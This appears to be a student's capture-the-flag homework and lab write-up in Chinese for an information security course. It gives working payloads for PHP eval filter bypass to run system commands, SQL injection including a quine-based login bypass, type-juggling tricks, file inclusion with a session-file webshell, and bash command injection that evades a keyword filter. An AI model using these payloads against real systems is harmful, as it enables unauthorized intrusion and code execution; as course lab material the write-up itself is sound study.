---
tags: 資訊安全實務
---
# HW5
## (#°д°)
這題有點不知道該怎麼說...,首先是PHP中字串是可以利用計算來算出來的,但我們利用get輸入的字串再放到eval的話就會變成字串中的字串運算不瞭,所以還需要能夠動態運算?的方法,題目中的長度限制32又不能夠輸入數字英文的情況下,實在是有點嚴苛,後來在注意到php的function可以動態執行後我算是有了方向
* 要構造出在eval裡面能夠再輸入變數的地方,像是
* `$_GET[a]($_GET[b])`
* php中能夠利用"system"("ls")這樣來執行function
* 配合php使用${...}時會去執行括號裡面的運算等等就能夠構造出這樣的payload
有了方向後一開始我是用互斥或來運算出字串,構造出`${"!:;/"^"~}~{"}[_]`這樣的字串,這樣就能達成`$_GET[_]`然後我們就能夠跳脫他所寫的正規表達式及長度限制,但當我想用這樣的方法構造出`$_GET[_]($_GET[__])`時卻因為長度超過了32因此無法實現,後來我發現php還有取反這一回事,比起利用互斥或1個字需要2個字來去運算,取反只要在數字前面加上~便能夠完成,明顯能夠讓長度減少,所以我就分別找出`_GET`四個字在16進制下的not來去構造出相同的payload,4個字分別為
* ~"%A0%B8%BA%AB" --> _GET
最後在URL上的輸入為:
* `?(%23°д°)=${~"%A0%B8%BA%AB"}[_](${~"%A0%B8%BA%AB"}[__]);&_=system&__=your command`
* 在eval中就會變成`eval("$_GET[_]($_GET[__]);")`
這樣就能夠輸入任意指令了,所後拿到的FLAG為
```
FLAG{peeHpeeeeee(#°д°)!}
```
## vb2077
### 2020-11-24
...這題我真的沒有啥頭緒,是要union出一個跟union一樣的內容來成功登入嗎??
好奇解答QQQ
### 2020-11-25
2020年11月25號的這一天,我想起來了1年級程式設計曾經考過一題是c的自我print,但是我實在是不知道這東西到底要怎麼在SQL上實現,鬼才知道,於是乎我就向同學詢問了之後他給了我一個關鍵字**quine**,????那是啥鬼,wiki了一下才發現那是自產生程式,草那我就在google了**SQL quine**我就找到了以下的code
```python
def quine(data, debug=True):
if debug: print data
data = data.replace('$$',"REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)")
blob = data.replace('$$','"$"').replace("'",'"')
data = data.replace('$$',"'"+blob+"'")
if debug: print data
return data
```
這就是生成器嗎(#°д°),在看了一下大概怎麼使用後,我就執行了以下的code
* `quine("' UNION SELECT 'admin' AS username, $$ AS password --")`
把生成的query丟到密碼那一欄,username打上admin後就成功符合`if res != None and res['username'] == username and res['password'] == password`,就成功登入啦!!!
那麼下一步就是要想辦法拿到flag,初步看了一下拿到flag的條件為session['is_admin']為true,但很遺憾的是在我們訪問這個網頁的同時session就被寫為false了,而且因為session有簽章的部分所以無法偽造,那麼問題就來了,他FLAG是放在一個名為flag的class裡面的flag變數,再仔細看一下return的語句```return ("<h1>Hello, " + username + " 。:.゚ヽ(*´∀`)ノ゚.:。 </h1> Here is your flag: {flag} ").format(flag=flag)```,如果直接讓flag這個class輸出的話她會呼叫__str__這個東西,那如果我在username的地方變成`"{flag.flag}"`,因為後面的format(flag=flag)所以會讓第一個flag變成class flag,那後面的.flag就會變成去取他class裡面的flag變數,所以我們需要改變一下我剛剛構造的query:
* `quine("' UNION SELECT '{flag.flag}' AS username, $$ AS password --")`
這樣再登入的時候就會在username的地方把flag給輸出,就能成功拿到flag了
FLAG
```
FLAG{qu1n3_sq1_1nj3ct10nnn.__init__}
```
最後我實在要講一下,這個反人類的query怎麼會有人想的到啊...,用tool應該不會被扣分吧QQ
---
# LAB5
## guess
首先先上這題的核心code,這題是php的code
```php
if (!empty($guess) && $guess == $ANSWER) {
echo "<p>Correct!</p>";
if (md5($token1) == sha1($token2)) echo FLAG;
```
只要讓這個兩if成功成立就能拿到flag,這實在太簡單了,第一個只要讓guess跟ANSWER相等就過了www,第二個則是要讓兩個不同方法的hash後的內容相等,但是根據投影片上
* md5([]) = NULL
* sha1([]) = NULL
也就是說我只要讓token1跟token2等於一個空的陣列就能過這個判斷,所以最後的payload如下
* ?guess=1&ANSWER=1&token1[]=""&token2[]=""
FLAG
```
FLAG{php_1s_s0_we1rd}
```
## shark
AAAA這題是使用js寫的code,核心code如下
```
const command = reqest.query.command;
if (command && command.indexOf("shark") == -1 && command.length < 3 &&
command == "Baby shark, doo doo doo doo doo doo")
response.send(SECRET);
```
也就是說要讓command不包含shark並且長度小於3但又要最後的結果為Baby shark, doo doo doo doo doo doo,然而這一切在js下並使用兩個=的情況下並沒有用,我知道讓command變成陣列的時候能直接讓過前兩個判斷,並且在跟字串最比對的時候他會把陣列變成字串,那答案就很明顯了
* ?command[]=Baby shark, doo doo doo doo doo doo
FLAG
```
FLAG{WTFFF_JSSSS}
```
## meow
這題在我們輸入`?id=-1 union select 1,2,3`後發現能夠做SQL injection後...,只要慢慢找出db,table跟column的name就好了,由於這三個打起來有點長我這邊就不再貼上了,投影片上都有,直接上搜尋到的結果
* db name為catdb
* table name為flag
* column name為the_flag
最後輸入?id=-1 union select 1,2, the_flag from flag where id=1便能找出flag
FLAG
```
FLAG{m30w_m30wm30w}
```
## 複製文產生器
這題在隨便選了一個模板後他網址顯示的會是`https://copygen.splitline.tw/?tpl=template/8sir.php`,看到tql=...後或許就能夠嘗試`php://filter/convert.base64-encode/resource=index.php`這種方法來拿到source code,果不其然拿到之後在裡面找到了
* $FLAG_1 = "FLAG{c0py_th15"; // RCE to capture flag2
也就是說第二步我們要想辦法RCE,在source code裡面又能看到一個code`username = htmlentities($_SESSION['username'])`,這就代表我們登入後看到的username其實是寫在_SESSION['username']裡面...,那我們只要在登入時注入webshell的code再去訪問session的話就能夠成功RCE,因phpinfo裡的save path沒有設,所以預設是存在/tmp/sess_{sessionid},讓username設成`<?php system(_GET['a']);?>`,並且成功訪問到`https://copygen.splitline.tw/?tpl=/tmp/sess_{session_id}`的地方後只要在後面加上&a=ls之類的就能夠成功RCE了,最後得到的FLAG2為
* _fl4g_4nd_subm1t}
因此最後FLAG為
`FLAG{c0py_th15_fl4g_4nd_subm1t}`
最後提一下我原本好奇為什麼看code的部分不直接輸入`https://copygen.splitline.tw/?tpl=/var/www/html/index.php`,結果輸入了之後發現看到的是redener後的東西我就了解了...
## base32 command injection
這題題目讓我們能輸入的點是
`/bin/bash -c 'base32 --decode <<< "' + input + '"`
並且題目又多了一個addslash去讓我們無法輸入"來去閉合這個指令,但是我發現一件是,就是linux上好像沒有\'這個東西,於是我就嘗試在我的cmd裡面輸入了`/bin/bash -c 'base32 --decode <<< "''`這樣的指令,就發現他噴錯了,指令執行失敗但cmd裡面有邏輯運算,在or的邏輯運算下若前面的指令執行失敗就會去執行or後面的指令,也就是說我現在能夠讓她前面的base32執行失敗,再用|來接上我們想要的指令就能成功RCE了,字串後面還有'"這個必須解決,cmd裡可以用#來當作註解,因此payload會像這樣`*?string='| ls #`。
但URL裡#代表fragment,所以必須先encode為%23,所以最後在URL上的輸入:
* `?string=' | c$1at /fla* %23`
* cmd看到的是`' | cat /fla* #`
那麼再來說說為什麼會用c$1at不直接cat呢,因為他code裡把cat視為禁字,但cmd裡又有變數能用,平常沒assign時他會是空的,所以利用這個變數來繞過php的檢查,最後成功拿到flag
FLAG
```
FLAG{b64d(Y29tbWFuZF8xbmozY3QxMG4h)}
```